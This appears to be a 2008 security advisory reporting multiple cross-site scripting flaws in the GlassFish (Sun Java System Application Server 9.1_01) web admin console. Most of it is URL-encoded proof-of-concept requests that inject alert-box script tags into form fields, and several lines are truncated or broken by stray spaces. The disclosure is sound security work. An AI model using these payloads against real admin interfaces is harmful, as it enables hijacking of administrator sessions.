==============================

Muitiple XSS - Glassfish Web Interface (Sun Java System Application
Server 9.1_01 (build b09d-fcs) )

==============================

Author: Eduardo Neves a.k.a _eth0_
Date: 14 june 2008
Site: http://webappsecurity.wordpress.com

==============================

APPLICATION : Glassfish webadmin interface
VERSION : Sun Java System Application Server 9.1_01 (build b09d-fcs)
VENDOR : http://www.sun.com
DOWNLOAD : https://glassfish.dev.java.net/

==============================

IMPACT: XSS, XSRF, etc.

Severity: Low (or not?)

==============================

Descrition:

This vulnerability affect some webpages in the glassfish webadmin interface,
that vulnerability allow user can insert a malicious or a not expected input
data in the input type field.That was found in 10+ input data field in
glassfish.

This is a vulnerable URL:

http://[HOSTNAME]:4848/resourceNode/...yForm%3Aproper
tyContentPage%3AtopButtons%3AnewButton=++OK++&prop ertyForm%3ApropertyContentPage
%3ApropertySheet%3ApropertSectionTextField%3AjndiP rop%3AJndiNew=%3Cscript%3Ealer
t%28%27xss%27%29%3B%3C%2Fscript%3E&propertyForm%3A propertyContentPage%3Aproperty
Sheet%3ApropertSectionTextField%3AresTypeProp%3Are sType=%3Cscript%3Ealert%28%27x
ss%27%29%3B%3C%2Fscript%3E&propertyForm%3Aproperty ContentPage%3ApropertySheet%3A
propertSectionTextField%3AfactoryClassProp%3Afacto ryClass=%3Cscript%3Ealert%28%2
7xss%27%29%3B%3C%2Fscript%3E&propertyForm%3Aproper tyContentPage%3ApropertySheet%
3ApropertSectionTextField%3AdescProp%3Adesc=%3Cscr ipt%3Ealert%28%27xss%27%29%3B%
3C%2Fscript%3E&propertyForm%3ApropertyContentPage% 3ApropertySheet%3ApropertSecti
onTextField%3AstatusProp%3Asun_checkbox9=true&prop ertyForm%3AhelpKey=customresou
rcescreate.html&propertyForm_hidden=propertyForm_h idden&javax.faces.ViewState=j_
id276%3Aj_id282&com_sun_webui_util_FocusManager_fo cusElementId=propertyForm%3Apr
opertyContentPage%3AtopButtons%3AnewButton


http://[HOSTNAME]:4848/resourceNode/...tyForm%3Aprope
rtyContentPage%3AtopButtons%3AnewButton=++OK++&pro pertyForm%3ApropertyContentPag
e%3ApropertySheet%3ApropertSectionTextField%3Ajndi Prop%3AJndiNew=%3Cscript%3Eale
rt%28%27xss%27%29%3B%3C%2Fscript%3E&propertyForm%3 ApropertyContentPage%3Apropert
ySheet%3ApropertSectionTextField%3AresTypeProp%3Ar esType=%3Cscript%3Ealert%28%27
xss%27%29%3B%3C%2Fscript%3E&propertyForm%3Apropert yContentPage%3ApropertySheet%3
ApropertSectionTextField%3AfactoryClassProp%3Afact oryClass=%3Cscript%3Ealert%28%
27xss%27%29%3B%3C%2Fscript%3E&propertyForm%3Aprope rtyContentPage%3ApropertySheet
%3ApropertSectionTextField%3AjndiLookupProp%3Ajndi Lookup=%3Cscript%3Ealert%28%27
xss%27%29%3B%3C%2Fscript%3E&propertyForm%3Apropert yContentPage%3ApropertySheet%3
ApropertSectionTextField%3AdescProp%3Adesc=%3Cscri pt%3Ealert%28%27xss%27%29%3B%3
C%2Fscript%3E&propertyForm%3ApropertyContentPage%3 ApropertySheet%3ApropertSectio
nTextField%3AstatusProp%3Asun_checkbox9=true&prope rtyForm%3ApropertyContentPage%
3AhelpKey=externalresourcescreate.html&propertyFor m_hidden=propertyForm_hidden&j
avax.faces.ViewState=j_id289%3Aj_id293&com_sun_web ui_util_FocusManager_focusElem
entId=propertyForm%3ApropertyContentPage%3AtopButt ons%3AnewButton

http://[HOSTNAME]:4848/resourceNode/...Form%3Apropert
yContentPage%3AtopButtons%3AnewButton=++OK++&prope rtyForm%3ApropertySheet%3Aprop
ertSectionTextField%3AjndiProp%3AJndi=%3Cscript%3E alert%28%27xss%27%29%3B%3C%2Fs
cript%3E&propertyForm%3ApropertySheet%3ApropertSec tionTextField%3AnameProp%3Anam
e=%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fscript% 3E&propertyForm%3ApropertyShee
t%3ApropertSectionTextField%3AresTypeProp%3AresTyp e=javax.jms.Topic&propertyForm
%3ApropertySheet%3ApropertSectionTextField%3AdescP rop%3Adesc=%3Cscript%3Ealert%2
8%27xss%27%29%3B%3C%2Fscript%3E&propertyForm%3Apro pertySheet%3ApropertSectionTex
tField%3AstatusProp%3Acb=true&propertyForm%3Abasic Table%3ArowGroup1%3A0%3Acol2%3
Acol1St=Description&propertyForm%3AbasicTable%3Aro wGroup1%3A0%3Acol3%3Acol1St=&p
ropertyForm%3AhelpKey=jmsdestinationnew.html%09&pr opertyForm_hidden=propertyForm
_hidden&javax.faces.ViewState=j_id242%3Aj_id246&co m_sun_webui_util_FocusManager_
focusElementId=propertyForm%3ApropertyContentPage% 3AtopButtons%3AnewButton

http://[HOSTNAME]:4848/resourceNode/...orm%3Aproperty
ContentPage%3AtopButtons%3AnewButton=++OK++&proper tyForm%3ApropertySheet%3Agener
alPropertySheet%3AjndiProp%3AJndi=%3Cscript%3Ealer t%28%27xss%27%29%3B%3C%2Fscrip
t%3E&propertyForm%3ApropertySheet%3AgeneralPropert ySheet%3AresTypeProp%3AresType
=javax.jms.TopicConnectionFactory&propertyForm%3Ap ropertySheet%3AgeneralProperty
Sheet%3AdescProp%3Acd=%3Cscript%3Ealert%28%27xss2% 27%29%3B%3C%2Fscript%3E&proper
tyForm%3ApropertySheet%3AgeneralPropertySheet%3Ast atusProp%3Asun_checkbox9=true&
propertyForm%3ApropertySheet%3ApoolSettingsPropert ySheet%3AinitSizeProp%3Ads=8&p
ropertyForm%3ApropertySheet%3ApoolSettingsProperty Sheet%3AmaxProp%3Ads2=32&prope
rtyForm%3ApropertySheet%3ApoolSettingsPropertyShee t%3AresizeProp%3Ads3=2&propert
yForm%3ApropertySheet%3ApoolSettingsPropertySheet% 3AidleProp%3Ads=300&propertyFo
rm%3ApropertySheet%3ApoolSettingsPropertySheet%3Am axWaitProp%3Ads=60000&property
Form%3ApropertySheet%3ApoolSettingsPropertySheet%3 Atransprop%3Atrans=&propertyFo
rm%3AbasicTable%3ArowGroup1%3A0%3Acol2%3Acol1St=Pa ssword&propertyForm%3AbasicTab
le%3ArowGroup1%3A0%3Acol3%3Acol1St=guest&propertyF orm%3AbasicTable%3ArowGroup1%3
A1%3Acol2%3Acol1St=UserName&propertyForm%3AbasicTa ble%3ArowGroup1%3A1%3Acol3%3Ac
ol1St=guest&propertyForm%3AhelpKey=jmsconnectionne w.html&propertyForm_hidden=pro
pertyForm_hidden&javax.faces.ViewState=j_id226%3Aj _id234&com_sun_webui_util_Focu
sManager_focusElementId=propertyForm%3ApropertyCon tentPage%3AtopButtons%

http://[HOSTNAME]:4848/resourceNode/...rm%3ApropertyC
ontentPage%3AtopButtons%3AnewButton=++OK++&propert yForm%3ApropertySheet%3Aproper
tSectionTextField%3AjndiProp%3Ajnditext=<script>al ert('xss');</script>&propertyF
orm%3ApropertySheet%3ApropertSectionTextField%3Apo olNameProp%3APoolName=__CallFl
owPool&propertyForm%3ApropertySheet%3ApropertSecti onTextField%3AdescProp%3Adesc=
<script>alert('xss3');</script>&propertyForm%3ApropertySheet%3ApropertSect ionTex
tField%3AstatusProp%3Asun_checkbox9=true&propertyF orm%3AhelpKey=jdbcresourcenew.
html&propertyForm_hidden=propertyForm_hidden&javax .faces.ViewState=j_id185%3Aj_i
d201&com_sun_webui_util_FocusManager_focusElementI d=propertyForm%3ApropertyConte
ntPage%3AtopButtons%3AnewButton

http://&#91;HOSTNAME]:4848/applications/...tyForm%3Aprope
rtyContentPage%3ApropertySheet%3ApropertSectionTex tField%3AnameProp%3Aname=<scri
pt>alert('xss');</script>&propertyForm%3ApropertyContentPage%3Aprope rtySheet%3Ap
ropertSectionTextField%3AclassNameProp%3Aclassname =<script>alert('xss2');</scrip
t>&propertyForm%3ApropertyContentPage%3ApropertySh eet%3ApropertSectionTextField%
3ApathProp%3AclassPath=&propertyForm%3ApropertyCon tentPage%3ApropertySheet%3Apro
pertSectionTextField%3AloadOrderProp%3AloadOrder=< script>alert('xss3');</script>
&propertyForm%3ApropertyContentPage%3ApropertyShee t%3ApropertSectionTextField%3A
descProp%3Adesc=&propertyForm%3ApropertyContentPag e%3ApropertySheet%3ApropertSec
tionTextField%3AstatusProp%3Asun_checkbox8=true&pr opertyForm%3ApropertyContentPa
ge%3AbottomButtons%3AsaveButton2=++OK++&propertyFo rm%3AhelpKey=lifecyclemodules.
html&propertyForm_hidden=propertyForm_hidden&javax .faces.ViewState=j_id117%3Aj_i
d125&com_sun_webui_util_FocusManager_focusElementI d=propertyForm%3ApropertyConte
ntPage%3AbottomButtons%3AsaveButton2

http://&#91;HOSTNAME]:4848/resourceNode/...pertyForm%3Apr
opertyContentPage%3AtopButtons%3AnextButton=+Next+ &propertyForm%3ApropertyConten
tPage%3ApropertySheet%3AgeneralPropertySheet%3Ajnd iProp%3Aname=<script>alert('xs
s')</script>&propertyForm%3ApropertyContentPage%3Aprope rtySheet%3AgeneralPropert
ySheet%3AresTypeProp%3AresType=<script>alert('xss2 ');</script>&propertyForm%3Apr
opertyContentPage%3ApropertySheet%3AgeneralPropert ySheet%3AdbProp%3Adb=<script>a
lert('xss3');</script>&propertyForm%3AhelpKey=jdbcconnectionpooln ew1.html&proper
tyForm_hidden=propertyForm_hidden&javax.faces.View State=j_id7%3Aj_id34&com_sun_w
ebui_util_FocusManager_focusElementId=propertyForm %3ApropertyContentPage%3AtopBu
ttons%3AnextButton

And others =)

--
|_|0|_| Serrano Neves - a.k.a eth0
|_|_|0| http://webappsecurity.wordpress.com
|0|0|0| "Talk is cheap. Show me the code." - Linus Torvalds